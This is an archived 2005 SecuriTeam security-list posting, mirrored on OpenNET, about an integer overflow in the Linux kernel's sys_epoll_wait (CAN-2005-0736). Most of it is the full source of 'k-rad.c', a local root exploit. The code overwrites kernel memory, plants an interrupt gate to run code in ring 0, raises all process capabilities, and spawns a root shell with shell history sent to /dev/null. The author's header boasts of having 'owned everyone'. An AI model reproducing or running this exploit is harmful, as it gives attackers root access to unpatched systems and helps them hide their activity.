The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[EXPL] Linux Kernel sys_epoll_wait Local Integer Overflow Exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Date: 23 Mar 2005 12:49:04 +0200
Subject: [EXPL] Linux Kernel sys_epoll_wait Local Integer Overflow Exploit
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050323110036.CF22C57DF@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Linux Kernel sys_epoll_wait Local Integer Overflow Exploit
------------------------------------------------------------------------


SUMMARY

Integer overflow in sys_epoll_wait in eventpoll.c for Linux kernel 2.6 to 
2.6.11 allows local users to overwrite kernel memory via a large number of 
events.

DETAILS

Vulnerable Systems:
 * Linux version 2.6.11 and prior

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0736>; 
CAN-2005-0736

Exploit:
/*
* k-rad.c - linux 2.6.11 and below CPL 0 kernel exploit v2
* Discovered and exploit coded Jan 2005 by sd <sd@fucksheep.org.>
*
* In memory of pwned.c (uselib)
*
* - Redistributions of source code is not permitted.
* - Redistributions in the binary form is not permitted.
* - Redistributions of the above copyright notice, this list of 
conditions,
* and the following disclaimer is permitted.
* - By proceeding to a Redistribution and under any form of the Program
* the Distributor is granting ownership of his Resources without
* limitations to the copyright holder(s).
*
*
* Since we already owned everyone, theres no point keeping this private
* anymore.
*
* http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
*
* Thanks to our internet hero georgi guninski for being such incredible
* whitehat disclosing one of the most reliable kernel bugs.
* You saved the world, man, we owe you one!
*
* This version is somewhat broken, but skilled reader will get an idea.
* Well, at least let the scriptkids have fun for a while.
*
* Thanks to all who helped me developing/testing this, you know who you 
are,
* and especially to my gf for guidance while coding this.
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <linux/capability.h>
#include <asm/unistd.h>
#define __USE_GNU
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <string.h>


#define KRS "\033[1;30m[ \033[1;37m"
#define KRE "\033[1;30m ]\033[0m"
#define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
#define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
#define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "

#define MAP (0xfffff000 - (1023*4096))
#define MAP_PAE (0xfffff000 - (511*4096))
#define MKPTE(addr) ((addr & (~4095)) | 0x27)

#define SET_IDT_GATE(idt,ring,s,addr) \
(idt).off1 = addr & 0xffff; \
(idt).off2 = addr >> 16; \
(idt).sel = s; \
(idt).none = 0; \
(idt).flags = 0x8E | (ring << 5); \

struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));

struct idt {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed));

unsigned long long *clear1, *clear2;

#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)

#define _capget_macro(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ( "int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
__syscall_return(type,__res); \
}

static inline _capget_macro(int,capget,void *,a,void *,b);
void raise_cap(unsigned long *ts)
{
/* must be on lower addresses because of kernel arg check :) */
static struct __user_cap_header_struct head;
static struct __user_cap_data_struct data;
static struct __user_cap_data_struct n;
int i;

*clear1 = 0;
*clear2 = 0;
head.version = 0x19980330;
head.pid = 0;
capget(&head, &data);
/* scan the thread_struct */
for (i = 0; i < 512; i++, ts++) {
/* is it capabilities block? */
if ((ts[0] == data.effective) &&
(ts[1] == data.inheritable) &&
(ts[2] == data.permitted)) {
/* set effective cap to some val */
ts[0] = 0x12341234;
capget(&head, &n);
/* and test if it has changed */
if (n.effective == ts[0]) {
/* if so, we're in :) */
ts[0] = ts[1] = ts[2] = 0xffffffff;
return;
}
/* otherwise fix back the stuff
(if we've not crashed already :) */
ts[0] = data.effective;
}
}
return;
}

extern void stub;
asm (
"stub:;"
" pusha;"
" mov $-8192, %eax;"
" and %esp, %eax;"
" pushl (%eax);"
" call raise_cap;"
" pop %eax;"
" popa;"
" iret;"
);

/* write to kernel from buf, num bytes */
#define DIV 256
#define RES 4
int kwrite(unsigned base, char *buf, int num)
{
int efd, c, i, fd;
int pi[2];
struct epoll_event ev;
int *stab;
unsigned long ptr;
int count;
unsigned magic = 0xffffffff / 12 + 1;

/* initialize epoll */
efd = epoll_create(4096);
if (efd < 0)
return -1;
ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;

/* 12 bytes per fd + one more to be safely in stack space */
count = (num+11)/12+RES;

/* desc array */
stab = alloca((count+DIV-1)/DIV*sizeof(int));
for (i = 0; i < ((count+DIV-1)/DIV)+1; i++) {
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
return -1;
send(pi[0], "a", 1, 0);
stab[i] = pi[1];
}
/* highest fd and first descriptor */
fd = pi[1];
/* we've to allocate this separately because we need to have
it's fd preserved - using this we'll be writing actual bytes */
epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
for (i = 0, c = 0; i < (count-1); i++) {
int n;
n = dup2(stab[i/DIV], fd+2+(i % DIV));
if (n < 0)
return -1;
epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
close(n);
}
/* in 'n' we've the latest fd we're using to write data */
for (i = 0; i < ((num+7)/8); i++) {
/* data being written from end */
memcpy(&ev.data, buf + num - 8 - i * 8, 8);
epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);

/* the actual kernel magic */
ptr = (base + num - (i*8)) - (count * 12);
epoll_wait(efd, (void *) ptr, magic, 31337);
/* don't ask why (rotten rb-trees) :) */
if (i)
epoll_wait(efd, (void *)ptr, magic, 31337);
}

close(efd);
for (i = 3; i <= fd; i++)
close(i);
return 0;
}

/* real-mode interrupt table fixup - point all interrupts to iret.
let's hope this will shut up apm */
void fixint(char *buf)
{
unsigned *tab = (void *) buf;
int i;

for (i = 0; i < 256; i++)
tab[i] = 0x0000400; /* 0000:0400h */
/* iret */
buf[0x400] = 0xcf;
}

/* establish pte pointing to virtual addr 'addr' */
int map_pte(unsigned base, int pagenr, unsigned addr)
{
unsigned *buf = alloca(pagenr * 4096 + 8);
buf[pagenr * 1024] = MKPTE(addr);
buf[pagenr * 1024+1] = 0;
fixint((void *)buf);
return kwrite(base, (void *)buf, pagenr * 4096 + 4);
}

void error(int d)
{
printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n"
KRAD "Try increase nrpages?\n");
exit(1);
}

int exploit(char *top, int npages, int pae)
{
struct idt *idt;
struct idtr idtr;
unsigned base;
char *argv[] = { "k-rad", NULL };
char *envp[] = { "TERM=linux", "PS1=k-rad\\$", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/
local/bin:/usr/local/sbin", NULL };

signal(SIGSEGV, error);
signal(SIGBUS, error);

/* first compute kernel base */
base = (unsigned long) top;
base += 0x0fffffff;
base &= 0xf0000000;

/* get idt descriptor addr */
asm ("sidt %0" : "=m" (idtr));

/* get the pte in */
map_pte(base, npages, idtr.base - base);

idt = pae?(void *)MAP_PAE:(void *)MAP;

/* cleanup the stuff to prevent others spotting the gate
- must be done from ring 0 */
clear1 = (void *) &idt[0x7f];
clear2 = (void *) (base + npages * 4096);

SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));

/* call raise_cap */
asm ("int $0x7f");

printf(KRADP "j00 1u(k7 k1d!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execve("/bin/sh", argv, envp);
exit(0);
}

int main(int argc, char **argv)
{
char eater[65536];
int npages = 1;

/* unlink(argv[0]); */
// sync();
printf(KRS " k-rad.c - linux 2.6.* CPL 0 kernel exploit " KRE "\n"
KRS "Discovered Jan 2005 by sd <sd@fucksheep.org.>" KRE "\n");
if (argc == 2) {
npages = atoi(argv[1]);
if (!npages) {
printf(KRADM "Use: %s [number of pages]\n"
"Increase from 1 to 5, use negative number for pae (from -1 to -5).\n"
"The higher number the more likely it will crash\n", argv[0]);
return 1;
}
printf(KRAD "Overwriting %d pages\n", npages<0?-npages:npages);
}

exploit(eater, npages<0?-npages:npages,npages<0);
return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:sd@fucksheep.org.> sd.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру